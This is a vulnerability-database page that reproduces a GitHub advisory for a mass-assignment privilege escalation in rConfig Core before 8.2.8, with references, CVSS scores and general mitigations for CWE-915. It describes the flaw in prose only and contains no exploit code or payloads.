"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "jackson-databind: Comparable missing from DefaultBaseTypeLimitingValidator\u0027s unsafe base types (incomplete PolymorphicTypeValidator denylist)"
}
GHSA-H4RQ-P45C-642R
Vulnerability from github – Published: 2026-07-20 18:32 – Updated: 2026-07-20 18:32rConfig Core before 8.2.8 contains a privilege escalation vulnerability that allows authenticated users to assign arbitrary roles to any account by submitting an unvalidated role field through the Users API during user creation or profile updates. Attackers can exploit the missing allowlist validation and absent admin-level authorization check in StoreUserRequest to mass-assign the Admin role directly to the User model, granting access to privileged features. rConfig Pro and Enterprise are not affected.
{
"affected": [],
"aliases": [
"CVE-2026-63102"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-20T16:17:06Z",
"severity": "MODERATE"
},
"details": "rConfig Core before 8.2.8 contains a privilege escalation vulnerability that allows authenticated users to assign arbitrary roles to any account by submitting an unvalidated role field through the Users API during user creation or profile updates. Attackers can exploit the missing allowlist validation and absent admin-level authorization check in StoreUserRequest to mass-assign the Admin role directly to the User model, granting access to privileged features. rConfig Pro and Enterprise are not affected.",
"id": "GHSA-h4rq-p45c-642r",
"modified": "2026-07-20T18:32:32Z",
"published": "2026-07-20T18:32:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63102"
},
{
"type": "WEB",
"url": "https://github.com/rconfig/rconfig/pull/325"
},
{
"type": "WEB",
"url": "https://github.com/rconfig/rconfig/commit/84822f4051ed97d651b1b4d191c6da2aa8c3c037"
},
{
"type": "WEB",
"url": "https://github.com/rconfig/rconfig/releases/tag/core-8.2.8"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/rconfig-privilege-escalation-via-users-api-role-field"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
- If available, use features of the language or framework that allow specification of allowlists of attributes or fields that are allowed to be modified. If possible, prefer allowlists over denylists.
- For applications written with Ruby on Rails, use the attr_accessible (allowlist) or attr_protected (denylist) macros in each class that may be used in mass assignment.
Mitigation
If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
Mitigation
Strategy: Input Validation
For any externally-influenced input, check the input against an allowlist of internal object attributes or fields that are allowed to be modified.
Mitigation
Strategy: Refactoring
Refactor the code so that object attributes or fields do not need to be dynamically identified, and only expose getter/setter functionality for the intended attributes.
No CAPEC attack patterns related to this CWE.